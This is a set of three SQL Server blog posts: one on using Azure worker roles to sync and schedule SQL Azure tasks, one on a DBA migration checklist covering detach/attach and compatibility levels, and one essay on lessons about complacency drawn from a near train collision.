  This is guest post by Paras Doshi. Paras Doshi is a research Intern at SolidQ.com and a Microsoft student partner. He is currently working in the domain of SQL Azure. SQL Azure is nothing but a SQL server in the cloud. SQL Azure provides benefits such as on demand rapid provisioning, cost-effective scalability, high availability and reduced management overhead. To see an introduction on SQL Azure, check out the post by Pinal here In this article, we are going to discuss how to extend SQL Azure with the Azure worker role. In other words, we will attempt to write a custom code and host it in the Azure worker role; the aim is to add some features that are not available with SQL Azure currently or features that need to be customized for flexibility. This way we extend the SQL Azure capability by building some solutions that run on Azure as worker roles. To understand Azure worker role, think of it as a windows service in cloud. Azure worker role can perform background processes, and to handle processes such as synchronization and backup, it becomes our ideal tool. First, we will focus on writing a worker role code that synchronizes SQL Azure databases. Before we do so, let’s see some scenarios in which synchronization between SQL Azure databases is beneficial: scaling out access over multiple databases enables us to handle workload efficiently As of now, SQL Azure database can be hosted in one of any six datacenters. By synchronizing databases located in different data centers, one can extend the data by enabling access to geographically distributed data Let us see some scenarios in which SQL server to SQL Azure database synchronization is beneficial To backup SQL Azure database on local infrastructure Rather than investing in local infrastructure for increased workloads, such workloads could be handled by cloud Ability to extend data to different datacenters located across the world to enable efficient data access from remote locations Now, let us develop cloud-based app that synchronizes SQL Azure databases. For an Introduction to developing cloud based apps, click here Now, in this article, I aim to provide a bird’s eye view of how a code that synchronizes SQL Azure databases look like and then list resources that can help you develop the solution from scratch. Now, if you newly add a worker role to the cloud-based project, this is how the code will look like. (Note: I have added comments to the skeleton code to point out the modifications that will be required in the code to carry out the SQL Azure synchronization. Note the placement of Setup() and Sync() function.) Click here (http://parasdoshi1989.files.wordpress.com/2011/06/code-snippet-1-for-extending-sql-azure-with-azure-worker-role1.pdf ) Enabling SQL Azure databases synchronization through sync framework is a two-step process. In the first step, the database is provisioned and sync framework creates tracking tables, stored procedures, triggers, and tables to store metadata to enable synchronization. This is one time step. The code for the same is put in the setup() function which is called once when the worker role starts. Now, the second step is continuous (or on demand) synchronization of SQL Azure databases by propagating changes between databases. This is done on a continuous basis by calling the sync() function in the while loop. The code logic to synchronize changes between SQL Azure databases should be put in the sync() function. Discussing the coding part step by step is out of the scope of this article. Therefore, let me suggest you a resource, which is given here. Also, note that before you start developing the code, you will need to install SYNC framework 2.1 SDK (download here). Further, you will reference some libraries before you start coding. Details regarding the same are available in the article that I just pointed to. You will be charged for data transfers if the databases are not in the same datacenter. For pricing information, go here Currently, a tool named DATA SYNC, which is built on top of sync framework, is available in CTP that allows SQL Azure <-> SQL server and SQL Azure <-> SQL Azure synchronization (without writing single line of code); however, in some cases, the custom code shown in this blogpost provides flexibility that is not available with Data SYNC. For instance, filtering is not supported in the SQL Azure DATA SYNC CTP2; if you wish to have such a functionality now, then you have the option of developing a custom code using SYNC Framework. Now, this code can be easily extended to synchronize at some schedule. Let us say we want the databases to get synchronized every day at 10:00 pm. This is what the code will look like now: (http://parasdoshi1989.files.wordpress.com/2011/06/code-snippet-2-for-extending-sql-azure-with-azure-worker-role.pdf) Don’t you think that by writing such a code, we are imitating the functionality provided by the SQL server agent for a SQL server? Think about it. We are scheduling our administrative task by writing custom code – in other words, we have developed a “Light weight SQL server agent for SQL Azure!” Since the SQL server agent is not currently available in cloud, we have developed a solution that enables us to schedule tasks, and thus we have extended SQL Azure with the Azure worker role! Now if you wish to track jobs, you can do so by storing this data in SQL Azure (or Azure tables). The reason is that Windows Azure is a stateless platform, and we will need to store the state of the job ourselves and the choice that you have is SQL Azure or Azure tables. Note that this solution requires custom code and also it is not UI driven; however, for now, it can act as a temporary solution until SQL server agent is made available in the cloud. Moreover, this solution does not encompass functionalities that a SQL server agent provides, but it does open up an interesting avenue to schedule some of the tasks such as backup and synchronization of SQL Azure databases by writing some custom code in the Azure worker role. Now, let us see one more possibility – i.e., running BCP through a worker role in Azure-hosted services and then uploading the backup files either locally or on blobs. If you upload it locally, then consider the data transfer cost. If you upload it to blobs residing in the same datacenter, then no transfer cost applies but the cost on blob size applies. So, before choosing the option, you need to evaluate your preferences keeping the cost associated with each option in mind. In this article, I have shown that Azure worker role solution could be developed to synchronize SQL Azure databases. Moreover, a light-weight SQL server agent for SQL Azure can be developed. Also we discussed the possibility of running BCP through a worker role in Azure-hosted services for backing up our precious SQL Azure data. Thus, we can extend SQL Azure with the Azure worker role. But remember: you will be charged for running Azure worker roles. So at the end of the day, you need to ask – am I willing to build a custom code and pay money to achieve this functionality? I hope you found this blog post interesting. If you have any questions/feedback, you can comment below or you can mail me at Paras[at]student-partners[dot]com Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL Azure, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• Migrating SQL Server Databases – The DBA’s Checklist (Part 1)

  - by Sadequl Hussain

  It is a fact of life: SQL Server databases change homes. They move from one instance to another, from one version to the next, from old servers to new ones.  They move around as an organisation’s data grows, applications are enhanced or new versions of the database software are released. If not anything else, servers become old and unreliable and databases eventually need to find a new home. Consider the following scenarios: 1.     A new  database application is rolled out in a production server from the development or test environment 2.     A copy of the production database needs to be installed in a test server for troubleshooting purposes 3.     A copy of the development database is regularly refreshed in a test server during the system development life cycle 4.     A SQL Server is upgraded to a newer version. This can be an in-place upgrade or a side-by-side migration 5.     One or more databases need to be moved between different instances as part of a consolidation strategy. The instances can be running the same or different version of SQL Server 6.     A database has to be restored from a backup file provided by a third party application vendor 7.     A backup of the database is restored in the same or different instance for disaster recovery 8.     A database needs to be migrated within the same instance: a.     Files are moved from direct attached storage to storage area network b.    The same database is copied under a different name for another application Migrating SQL Server database applications is a complex topic in itself. There are a number of components that can be involved: jobs, DTS or SSIS packages, logins or linked servers are only few pieces of the puzzle. However, in this article we will focus only on the central part of migration: the installation of the database itself. Unless it is an in-place upgrade, typically the database is taken from a source server and installed in a destination instance.  Most of the time, a full backup file is used for the rollout. The backup file is either provided to the DBA or the DBA takes the backup and restores it in the target server. Sometimes the database is detached from the source and the files are copied to and attached in the destination. Regardless of the method of copying, moving, refreshing, restoring or upgrading the physical database, there are a number of steps the DBA should follow before and after it has been installed in the destination. It is these post database installation steps we are going to discuss below. Some of these steps apply in almost every scenario described above while some will depend on the type of objects contained within the database.  Also, the principles hold regardless of the number of databases involved. Step 1:  Make a copy of data and log files when attaching and detaching When detaching and attaching databases, ensure you have made copies of the data and log files if the destination is running a newer version of SQL Server. This is because once attached to a newer version, the database cannot be detached and attached back to an older version. Trying to do so will give you a message like the following: Server: Msg 602, Level 21, State 50, Line 1 Could not find row in sysindexes for database ID 6, object ID 1, index ID 1. Run DBCC CHECKTABLE on sysindexes. Connection Broken If you try to backup the attached database and restore it in the source, it will still fail. Similarly, if you are restoring the database in a newer version, it cannot be backed up or detached and put back in an older version of SQL. Unlike detach and attach method though, you do not lose the backup file or the original database here. When detaching and attaching a database, it is important you keep all the log files available along with the data files. It is possible to attach a database without a log file and SQL Server can be instructed to create a new log file, however this does not work if the database was detached when the primary file group was read-only. You will need all the log files in such cases. Step 2: Change database compatibility level Once the database has been restored or attached to a newer version of SQL Server, change the database compatibility level to reflect the newer version unless there is a compelling reason not to do so. When attaching or restoring from a previous version of SQL, the database retains the older version’s compatibility level.  The only time you would want to keep a database with an older compatibility level is when the code within your database is no longer supported by SQL Server. For example, outer joins with *= or the =* operators were still possible in SQL 2000 (with a warning message), but not in SQL 2005 anymore. If your stored procedures or triggers are using this form of join, you would want to keep the database with an older compatibility level.  For a list of compatibility issues between older and newer versions of SQL Server databases, refer to the Books Online under the sp_dbcmptlevel topic. Application developers and architects can help you in deciding whether you should change the compatibility level or not. You can always change the compatibility mode from the newest to an older version if necessary. To change the compatibility level, you can either use the database’s property from the SQL Server Management Studio or use the sp_dbcmptlevel stored procedure.   Bear in mind that you cannot run the built-in reports for databases from SQL Server Management Studio if you keep the database with an older compatibility level. The following figure shows the error message I received when trying to run the “Disk Usage by Top Tables” report against a database. This database was hosted in a SQL Server 2005 system and still had a compatibility mode 80 (SQL 2000).     Continues…

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• Developer’s Life – Disaster Lessons – Notes from the Field #039

  - by Pinal Dave

  [Note from Pinal]: This is a 39th episode of Notes from the Field series. What is the best solution do you have when you encounter a disaster in your organization. Now many of you would answer that in this scenario you would have another standby machine or alternative which you will plug in. Now let me ask second question – What would you do if you as an individual faces disaster?  In this episode of the Notes from the Field series database expert Mike Walsh explains a very crucial issue we face in our career, which is not technical but more to relate to human nature. Read on this may be the best blog post you might read in recent times. Howdy! When it was my turn to share the Notes from the Field last time, I took a departure from my normal technical content to talk about Attitude and Communication.(http://blog.sqlauthority.com/2014/05/08/developers-life-attitude-and-communication-they-can-cause-problems-notes-from-the-field-027/) Pinal said it was a popular topic so I hope he won’t mind if I stick with Professional Development for another of my turns at sharing some information here. Like I said last time, the “soft skills” of the IT world are often just as important – sometimes more important – than the technical skills. As a consultant with Linchpin People – I see so many situations where the professional skills I’ve gained and use are more valuable to clients than knowing the best way to tune a query. Today I want to continue talking about professional development and tell you about the way I almost got myself hit by a train – and why that matters in our day jobs. Sometimes we can learn a lot from disasters. Whether we caused them or someone else did. If you are interested in learning about some of my observations in these lessons you can see more where I talk about lessons from disasters on my blog. For now, though, onto how I almost got my vehicle hit by a train… The Train Crash That Almost Was…. My family and I own a little schoolhouse building about a 10 mile drive away from our house. We use it as a free resource for families in the area that homeschool their children – so they can have some class space. I go up there a lot to check in on the property, to take care of the trash and to do work on the property. On the way there, there is a very small Stop Sign controlled railroad intersection. There is only two small freight trains a day passing there. Actually the same train, making a journey south and then back North. That’s it. This road is a small rural road, barely ever a second car driving in the neighborhood there when I am. The stop sign is pretty much there only for the train crossing. When we first bought the building, I was up there a lot doing renovations on the property. Being familiar with the area, I am also familiar with the train schedule and know the tracks are normally free of trains. So I developed a bad habit. You see, I’d approach the stop sign and slow down as I roll through it. Sometimes I’d do a quick look and come to an “almost” stop there but keep on going. I let my impatience and complacency take over. And that is because most of the time I was going there long after the train was done for the day or in between the runs. This habit became pretty well established after a couple years of driving the route. The behavior reinforced a bit by the success ratio. I saw others doing it as well from the neighborhood when I would happen to be there around the time another car was there. Well. You already know where this ends up by the title and backstory here. A few months ago I came to that little crossing, and I started to do the normal routine. I’d pretty much stopped looking in some respects because of the pattern I’d gotten into.  For some reason I looked and heard and saw the train slowly approaching and slammed on my brakes and stopped. It was an abrupt stop, and it was close. I probably would have made it okay, but I sat there thinking about lessons for IT professionals from the situation once I started breathing again and watched the cars loaded with sand and propane slowly labored down the tracks… Here are Those Lessons… It’s easy to get stuck into a routine – That isn’t always bad. Except when it’s a bad routine. Momentum and inertia are powerful. Once you have a habit and a routine developed – it’s really hard to break that. Make sure you are setting the right routines and habits TODAY. What almost dangerous things are you doing today? How are you almost messing up your production environment today? Stop doing that. Be Deliberate – (Even when you are the only one) – Like I said – a lot of people roll through that stop sign. Perhaps the neighbors or other drivers think “why is he fully stopping and looking… The train only comes two times a day!” – they can think that all they want. Through deliberate actions and forcing myself to pay attention, I will avoid that oops again. Slow down. Take a deep breath. Be Deliberate in your job. Pay attention to the small stuff and go out of your way to be careful. It will save you later. Be Observant – Keep your eyes open. By looking around, observing the situation and understanding what your servers, databases, users and vendors are doing – you’ll notice when something is out of place. But if you don’t know what is normal, if you don’t look to make sure nothing has changed – that train will come and get you. Where can you be more observant? What warning signs are you ignoring in your environment today? In the IT world – trains are everywhere. Projects move fast. Decisions happen fast. Problems turn from a warning sign to a disaster quickly. If you get stuck in a complacent pattern of “Everything is okay, it always has been and always will be” – that’s the time that you will most likely get stuck in a bad situation. Don’t let yourself get complacent, don’t let your team get complacent. That will lead to being proactive. And a proactive environment spends less money on consultants for troubleshooting problems you should have seen ahead of time. You can spend your money and IT budget on improving for your customers. If you want to get started with performance analytics and triage of virtualized SQL Servers with the help of experts, read more over at Fix Your SQL Server. Reference: Pinal Dave (http://blog.sqlauthority.com)Filed under: Notes from the Field, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL

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